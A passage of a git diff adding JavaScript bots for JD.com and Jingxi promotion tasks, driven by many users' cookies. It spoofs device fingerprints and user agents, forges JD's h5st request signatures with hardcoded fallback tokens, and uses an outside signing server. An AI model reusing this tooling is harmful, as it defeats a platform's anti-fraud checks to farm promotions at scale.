"A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `${JD_API_HOST}fanxiantask/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function JDtaskUrl(functionId, body = '') { + let url = `https://wq.jd.com/jxjdsignin/${functionId}?${body ? `${body}&` : ''}sceneval=2&g_login_type=1&g_ty=ajax` + return { + url, + headers: { + "Host": "wq.jd.com", + "Accept": "application/json", + "Origin": "https://wqs.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://wqs.jd.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + // console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/magic.js b/magic.js new file mode 100644 index 0000000..7e85bfe --- /dev/null +++ b/magic.js @@ -0,0 +1,1022 @@ +// noinspection JSUnresolvedFunction,JSUnresolvedVariable + +const axios = require('axios'); +const fs = require("fs"); +const {format} = require("date-fns"); +const notify = require('./sendNotify'); +const jdCookieNode = require('./jdCookie.js'); +const CryptoJS = require("crypto-js"); + +let cookies = []; +let testMode = process.env.TEST_MODE?.includes('on') ? true + : __dirname.includes("magic") + +let mode = process.env.MODE ? process.env.MODE : "local" + +let apiToken = process.env.M_API_TOKEN ? process.env.M_API_TOKEN : "" +let apiSignUrl = process.env.M_API_SIGN_URL ? process.env.M_API_SIGN_URL : "http://ailoveu.eu.org:19840/sign" +let tokenCacheMin = parseInt(process.env?.M_WX_TOKEN_CACHE_MIN || 5) +let tokenCacheMax = parseInt(process.env?.M_WX_TOKEN_CACHE_MAX || 10) +let enableCacheToken = parseInt(process.env?.M_WX_ENABLE_CACHE_TOKEN || 1) +let isvObfuscatorRetry = parseInt(process.env?.M_WX_ISVOBFUSCATOR_RETRY || 2) +let isvObfuscatorRetryWait = parseInt(process.env?.M_WX_ISVOBFUSCATOR_RETRY_WAIT || 2) + +let wxBlackCookiePin = process.env.M_WX_BLACK_COOKIE_PIN + ? process.env.M_WX_BLACK_COOKIE_PIN : '' + +Object.keys(jdCookieNode).forEach((item) => { + cookies.push(jdCookieNode[item]) +}) + +const JDAPP_USER_AGENTS = [ + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; MHA-AL00 Build/HUAWEIMHA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; MI 6 Build/PKQ1.190118.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/4g;Mozilla/5.0 (Linux; Android 9; Mi Note 3 Build/PKQ1.181007.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36`, + `jdapp;android;10.0.2;9;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 9; 16T Build/PKQ1.190616.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045224 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; GM1910 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00L; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi K20 Pro Premium Edition Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36`, + `jdapp;android;10.0.2;11;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K20 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36`, + `jdapp;android;10.0.2;10;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36`, + `jdapp;android;10.0.2;11;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 11; Redmi K30 5G Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045511 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.2;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.2;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;11.4;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79`, + `jdapp;android;10.0.2;10;;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045230 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.6;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.6;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.5;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.7;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;13.4;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 13_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.3;${uuid()};network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;iPhone;10.0.2;14.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;android;10.0.2;8.1.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; 16 X Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;android;10.0.2;8.0.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.0.0; HTC U-3w Build/OPR6.170623.013; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044942 Mobile Safari/537.36`, + `jdapp;iPhone;10.0.2;14.0.1;${uuid()};network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + `jdapp;android;10.0.2;8.1.0;${uuid()};network/wifi;Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045131 Mobile Safari/537.36`, +] + +const $ = axios.create({timeout: 30000}); +$.defaults.headers['Accept'] = '*/*'; +$.defaults.headers['Connection'] = 'keep-alive'; +$.defaults.headers['Accept-Language'] = "zh-CN,zh-Hans;q=0.9"; +$.defaults.headers['Accept-Encoding'] = "gzip, deflate, br"; + +function uuid(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") { + return x.replace(/[xy]/g, function (x) { + const r = 16 * Math.random() | 0, n = "x" === x ? r : 3 & r | 8; + return n.toString(36) + }) +} + +class Env { + constructor(name) { + this.name = name + this.username = ''; + this.cookie = ''; + this.cookies = cookies; + this.index = ''; + this.ext = []; + this.msg = []; + this.delimiter = ''; + this.filename = '' + this.lz = '' + this.appId = ''; + this.algo = {}; + this.bot = false; + this.expire = false; + this.accounts = {}; + } + + async run(data = { + wait: [1000, 2000], + bot: false, + delimiter: '', + o2o: false, + random: false, + once: false, + blacklist: [], + whitelist: [] + }) { + console.log('运行参数:', data); + this.filename = process.argv[1]; + console.log(`${this.now()} ${this.name} ${this.filename} 开始运行...`); + this.start = this.timestamp(); + let accounts = ""; + if (__dirname.includes("magic")) { + accounts = this.readFileSync( + '/home/magic/Work/wools/doc/account.json') + } else { + if (fs.existsSync('utils/account.json')) { + accounts = this.readFileSync('utils/account.json') + } else { + accounts = this.readFileSync('account.json') + } + } + accounts ? JSON.parse(accounts).forEach( + o => this.accounts[o.pt_pin] = o.remarks) : '' + await this.config() + if (data?.delimiter) { + this.delimiter = data?.delimiter + } + if (data?.bot) { + this.bot = data.bot; + } + + console.log('原始ck长度', cookies.length) + if (data?.blacklist?.length > 0) { + for (const cki of this.__as(data.blacklist)) { + delete cookies[cki - 1]; + } + } + this.delBlackCK() + console.log('排除黑名单后ck长度', cookies.length) + if (data?.whitelist?.length > 0) { + let cks = [] + for (const cki of this.__as(data.whitelist)) { + if (cki - 1 < cookies.length) { + cks.push(cookies[cki - 1]) + } + } + cookies = cks; + } + console.log('设置白名单后ck长度', cookies.length) + + if (data?.random) { + cookies = this.randomArray(cookies) + } + await this.verify() + this.cookies = cookies; + if (data?.before) { + for (let i = 0; i <= this.cookies.length; i++) { + if (this.cookies[i] && !this.expire) { + let cookie = this.cookies[i]; + this.cookie = cookie; + this.username = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.defaults.headers['Cookie'] = this.cookie; + this.index = i + 1; + let me = { + username: this.username, + index: 